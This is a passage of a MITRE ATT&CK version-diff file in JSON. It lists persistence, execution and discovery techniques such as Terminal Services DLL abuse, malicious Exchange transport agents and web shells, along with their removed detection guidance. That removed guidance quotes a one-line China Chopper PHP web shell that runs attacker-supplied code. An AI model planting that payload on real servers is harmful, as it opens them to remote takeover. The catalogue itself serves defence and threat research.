"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Carlos Borges, @huntingneo, CIP", + "Lucas da Silva Pereira, @vulcanunsec, CIP", + "Kaspersky" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.624000+00:00\", \"old_value\": \"2025-04-15 23:02:13.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0181: Detection Strategy for SQL Stored Procedures Abuse via T1505.001" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-28 15:34:44.590000+00:00", + "modified": "2025-10-24 17:48:39.258000+00:00", + "name": "Terminal Services DLL", + "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/005", + "external_id": "T1505.005" + }, + { + "source_name": "James TermServ DLL", + "description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.", + "url": "https://x.com/james_inthe_box/status/1150495335812177920" + }, + { + "source_name": "Microsoft System Services Fundamentals", + "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx" + }, + { + "source_name": "Microsoft Remote Desktop Services", + "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.", + "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services" + }, + { + "source_name": "RDPWrap Github", + "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.", + "url": "https://github.com/stascorp/rdpwrap" + }, + { + "source_name": "Windows OS Hub RDP", + "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.", + "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.258000+00:00\", \"old_value\": \"2025-04-15 23:15:45.110000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\\.\\n\\nMonitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\\\System32\\\\.\\n\\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\\n\\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\\\System32\\\\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\\.\\n-\\n-Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\\\System32\\\\.\\n-\\n-Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\\n-\\n-Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\\\System32\\\\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0212: Detection Strategy for T1505.005 \u2013 Terminal Services DLL Modification (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-12 15:08:20.972000+00:00", + "modified": "2025-10-24 17:48:38.001000+00:00", + "name": "Transport Agent", + "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/002", + "external_id": "T1505.002" + }, + { + "source_name": "Microsoft TransportAgent Jun 2016", + "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.", + "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help" + }, + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ESET", + "Christoffer Str\u00f6mblad" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.001000+00:00\", \"old_value\": \"2025-04-25 14:46:19.364000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0166: Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-13 16:46:18.927000+00:00", + "modified": "2025-10-24 17:48:50.387000+00:00", + "name": "Web Shell", + "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/003", + "external_id": "T1505.003" + }, + { + "source_name": "NSA Cyber Mitigating Web Shells", + "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.", + "url": "https://github.com/nsacyber/Mitigating-Web-Shells" + }, + { + "source_name": "volexity_0day_sophos_FW", + "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", + "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arnim Rupp, Deutsche Lufthansa AG" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.387000+00:00\", \"old_value\": \"2025-04-15 19:58:34.688000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \\n\\n<?php @eval($_POST['password']);>\\n\\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\\n\\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\\n\\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \\n-\\n-<?php @eval($_POST['password']);>\\n-\\n-Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\\n-\\n-File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\\n-\\n-Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0394: Web Shell Detection via Server Behavior and File Execution Chains" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:40.542000+00:00", + "modified": "2025-10-24 17:48:22.302000+00:00", + "name": "Shared Modules", + "description": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1129", + "external_id": "T1129" + }, + { + "source_name": "RotaJakiro 2021 netlab360 analysis", + "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", + "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/" + }, + { + "source_name": "Apple Dev Dynamic Libraries", + "description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.", + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html" + }, + { + "source_name": "Unit42 OceanLotus 2017", + "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.", + "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/" + }, + { + "source_name": "Microsoft DLL", + "description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.", + "url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library" + }, + { + "source_name": "Linux Shared Libraries", + "description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.", + "url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.302000+00:00\", \"old_value\": \"2025-04-15 19:58:04.668000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \\n\\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \\n-\\n-Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0018: Behavior-chain, platform-aware detection strategy for T1129 Shared Modules" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:57.201000+00:00", + "modified": "2025-10-24 17:49:06.595000+00:00", + "name": "Software Deployment Tools", + "description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1072", + "external_id": "T1072" + }, + { + "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation", + "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020", + "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.", + "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d" + }, + { + "source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan", + "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.", + "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shane Tully, @securitygypsy", + "Joe Gumke, U.S. Bank", + "Tamir Yehuda" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "SaaS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "3.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.595000+00:00\", \"old_value\": \"2025-04-15 19:58:51.465000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection methods will vary depending on the type of third-party software or system and how it is typically used. \\n\\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \\n\\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\\n\\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Detection methods will vary depending on the type of third-party software or system and how it is typically used. \\n-\\n-The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \\n-\\n-Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\\n-\\n-Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1029: Remote Data Storage", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1033: Limit Software Installation", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0223: Detection of Adversary Abuse of Software Deployment Tools" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16 17:52:44.147000+00:00", + "modified": "2025-10-24 17:49:31.671000+00:00", + "name": "Software Discovery", + "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1518", + "external_id": "T1518" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Linux", + "macOS", + "Windows" + ], + 